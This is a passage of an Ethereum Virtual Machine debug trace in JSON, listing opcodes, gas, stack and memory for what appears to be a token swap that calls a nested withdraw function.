000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3250,"op":"PUSH2","gas":18750,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3253,"op":"JUMPI","gas":18747,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1","0xcba"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3258,"op":"JUMPDEST","gas":18737,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3259,"op":"POP","gas":18736,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3260,"op":"GAS","gas":18734,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3261,"op":"CALL","gas":18732,"gasCost":18441,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x492c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":0,"op":"PUSH1","gas":18341,"gasCost":3,"depth":2,"stack":[],"memory":[],"refund":2800},{"pc":2,"op":"PUSH1","gas":18338,"gasCost":3,"depth":2,"stack":["0x80"],"memory":[],"refund":2800},{"pc":4,"op":"MSTORE","gas":18335,"gasCost":12,"depth":2,"stack":["0x80","0x40"],"memory":[],"refund":2800},{"pc":5,"op":"PUSH1","gas":18323,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":7,"op":"CALLDATASIZE","gas":18320,"gasCost":2,"depth":2,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":8,"op":"LT","gas":18318,"gasCost":3,"depth":2,"stack":["0x4","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":9,"op":"PUSH2","gas":18315,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":12,"op":"JUMPI","gas":18312,"gasCost":10,"depth":2,"stack":["0x0","0xc0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":13,"op":"PUSH1","gas":18302,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":15,"op":"CALLDATALOAD","gas":18299,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":16,"op":"PUSH1","gas":18296,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d000000000000000000000000000000000000000000000000000136db"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":18,"op":"SHR","gas":18293,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d000000000000000000000000000000000000000000000000000136db","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":19,"op":"DUP1","gas":18290,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":20,"op":"PUSH4","gas":18287,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":25,"op":"GT","gas":18284,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x2e1a7d4d","0x313ce567"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":26,"op":"PUSH2","gas":18281,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":29,"op":"JUMPI","gas":18278,"gasCost":10,"depth":2,"stack":["0x2e1a7d4d","0x1","0x74"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":116,"op":"JUMPDEST","gas":18268,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":117,"op":"DUP1","gas":18267,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":118,"op":"PUSH4","gas":18264,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":123,"op":"GT","gas":18261,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x2e1a7d4d","0x18160ddd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":124,"op":"PUSH2","gas":18258,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":127,"op":"JUMPI","gas":18255,"gasCost":10,"depth":2,"stack":["0x2e1a7d4d","0x0","0xa5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":128,"op":"DUP1","gas":18245,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":129,"op":"PUSH4","gas":18242,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":134,"op":"EQ","gas":18239,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x2e1a7d4d","0x18160ddd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":135,"op":"PUSH2","gas":18236,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":138,"op":"JUMPI","gas":18233,"gasCost":10,"depth":2,"stack":["0x2e1a7d4d","0x0","0x12f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":139,"op":"DUP1","gas":18223,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":140,"op":"PUSH4","gas":18220,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":145,"op":"EQ","gas":18217,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x2e1a7d4d","0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":146,"op":"PUSH2","gas":18214,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":149,"op":"JUMPI","gas":18211,"gasCost":10,"depth":2,"stack":["0x2e1a7d4d","0x0","0x14c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":150,"op":"DUP1","gas":18201,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":151,"op":"PUSH4","gas":18198,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":156,"op":"EQ","gas":18195,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x2e1a7d4d","0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":157,"op":"PUSH2","gas":18192,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":160,"op":"JUMPI","gas":18189,"gasCost":10,"depth":2,"stack":["0x2e1a7d4d","0x1","0x16c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":364,"op":"JUMPDEST","gas":18179,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":365,"op":"CALLVALUE","gas":18178,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":366,"op":"DUP1","gas":18176,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":367,"op":"ISZERO","gas":18173,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":368,"op":"PUSH2","gas":18170,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":371,"op":"JUMPI","gas":18167,"gasCost":10,"depth":2,"stack":["0x2e1a7d4d","0x0","0x1","0x178"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":376,"op":"JUMPDEST","gas":18157,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":377,"op":"POP","gas":18156,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":378,"op":"PUSH2","gas":18154,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":381,"op":"PUSH2","gas":18151,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":384,"op":"CALLDATASIZE","gas":18148,"gasCost":2,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":385,"op":"PUSH1","gas":18146,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":387,"op":"PUSH2","gas":18143,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":390,"op":"JUMP","gas":18140,"gasCost":8,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4","0x80e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2062,"op":"JUMPDEST","gas":18132,"gasCost":1,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2063,"op":"PUSH1","gas":18131,"gasCost":3,"depth":2,"stack":["0x2e1a7d4d","0xcd","0x187","0x24","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"],"refund":2800},{"pc":2065,"op":"PUSH1","gas":18128,